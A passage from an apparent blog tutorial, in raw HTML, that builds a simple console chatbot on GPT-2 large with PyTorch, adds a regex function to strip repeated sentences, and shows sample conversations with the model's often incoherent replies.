&lt;p&gt;In PyTorch, the &lt;em&gt;model.eval()&lt;/em&gt; method is used to set the model to evaluation mode. This is important for certain layers and operations that behave differently during training and evaluation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;input_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Generate response
&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;no_grad&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_ids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_return_sequences&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pad_token_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eos_token_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;skip_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we define a function that takes a text prompt and an optimal maximum length for the generated text.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;input_ids = tokenizer.encode(prompt, return_tensors="pt")&lt;/em&gt;: Encodes the text prompt into token IDs and returns a tensor suitable for PyTorch (hence &lt;em&gt;return_tensors="pt"&lt;/em&gt;).  This tensor will be used as input for the model.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;with torch.no_grad()&lt;/em&gt;: This is a context manager that disables gradient calculation. We can disable them for this example to speed up the calculation and to reduce the memory usage.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;output = model.generate(input_ids, max_length=100, num_return_sequences=1, pad_token_id=tokenizer.eos_token_id)&lt;/em&gt;: Generates a response based on the &lt;em&gt;input_ids&lt;/em&gt;. The generate method creates a sequence of tokens with a maximum length of &lt;em&gt;max_length&lt;/em&gt;. &lt;em&gt;num_return_sequences=1&lt;/em&gt; specifies that only one sequence should be generated and &lt;em&gt;pad_token_id&lt;/em&gt; specifies the padding token ID should be the same as the end-of-sequence (EOS) token ID defined by the tokenizer. When generating text, models use the EOS token to signify the conclusion of a sentence.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;response = tokenizer.decode(output[0], skip_special_tokens=True)&lt;/em&gt;: This method is used to convert the generated sequence of token IDs back into a human-readable string. &lt;em&gt;skip_special_tokens&lt;/em&gt; parameter ensures that special tokens (like padding or end-of-text tokens) are not included in the final decoded string.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Hi there! How can I help you?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;You: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Goodbye!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;print("Chatbot: Hi there! How can I help you?")&lt;/em&gt;: Prints an initial greeting message from the chatbot to the console.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;while True:&lt;/em&gt;: Is the main loop of the chatbot. This will allow continuous conversation with the chatbot until the user sends "exit" command.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;response = generate_response(user_input)&lt;/em&gt;: This calls the function we defined above with the promt inserted by the user.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;print("Chatbot:", response)&lt;/em&gt;: And as a last step, the response is printed on the console.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Running the Script
&lt;/h4&gt;

&lt;p&gt;Save the script to a file, named for example &lt;em&gt;simple-chatbot.py&lt;/em&gt;, and run it using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 simple-chatbot.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It can take a while for the script to run. Eventually you can chat with the chatbot. However, as seen in the conversation below, the chatbot has some trouble with its response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Chatbot: Hi there! How can I help you?
You: Hello! How are you?
Chatbot: Hello! How are you?

I'm a little bit nervous. I'm not sure if I'm going to be able to do this, but I'm going to be able to do it. I'm going to be able to do it. I'm going to be able to do it. I'm going to be able to do it. I'm going to be able to do it. I'm going to be able to do it. I'm going to be able to do it
You:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sometimes the chatbot is saying the same sentence over and over on same line, and sometimes it returned the response multiple times, each response on its own line. We can clean the reponse by adding a function that will split the response text into lines and checking if the line has repeated sentences:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;remove_repeated_sentences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;sentences&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;!\w\.\w.)(?&amp;lt;![A-Z][a-z]\.)(?&amp;lt;=\.|\?)\s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;unique_sentences&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sentence&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sentence&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sentence&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;  &lt;span class="c1"&gt;# Stop adding sentences after the first repetition
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;clean_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response_text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Remove the prompt from the response
&lt;/span&gt;    &lt;span class="n"&gt;stripped_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response_text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Split the stripped response text into lines
&lt;/span&gt;    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stripped_response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;combined_lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;remove_repeated_sentences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;combined_lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then on the &lt;em&gt;generate_response&lt;/em&gt; function, we can call this &lt;em&gt;clean_response&lt;/em&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;input_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Generate response
&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;no_grad&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_ids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_return_sequences&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pad_token_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eos_token_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;skip_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;cleaned_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clean_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cleaned_response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the chatbot should generate responses that look good! There might still be some corner cases that I hadn't thought about, but those can then be added to the &lt;em&gt;clean_response&lt;/em&gt; function.&lt;/p&gt;

&lt;p&gt;The following is an example of a conversation I had with the chatbot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Chatbot: Hi there! How can I help you?
You: Hello! How are you?
Chatbot: I'm so glad you're here.
You: That´s nice to hear!
Chatbot: I´m not sure if I´m going to be able to do it, but I´m going to try. I´m going to try to do it.
You: You can do it!
Chatbot: You can
You: What do you think about AI?
Chatbot: Let us know in the comments below! Images courtesy of Shutterstock, and Pixabay.
You: You are funny
Chatbot: .
You:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It doesn't necessarily make that much sense all the time since this is just a simple example, but at least now you know how to develop a chatbot!&lt;/p&gt;

&lt;p&gt;Here's the finalized code so you can better see what was changed from the first version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;

&lt;span class="c1"&gt;# Load the pre-trained GPT-2 model and tokenizer
&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt2-large&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;tokenizer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Set the model to evaluation mode
&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;remove_repeated_sentences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;sentences&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;!\w\.\w.)(?&amp;lt;![A-Z][a-z]\.)(?&amp;lt;=\.|\?)\s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;unique_sentences&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sentence&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sentence&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sentence&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;  &lt;span class="c1"&gt;# Stop adding sentences after the first repetition
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_sentences&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;clean_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response_text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Remove the prompt from the response
&lt;/span&gt;    &lt;span class="n"&gt;stripped_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response_text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Split the stripped response text into lines
&lt;/span&gt;    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stripped_response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;combined_lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;remove_repeated_sentences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;combined_lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;input_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

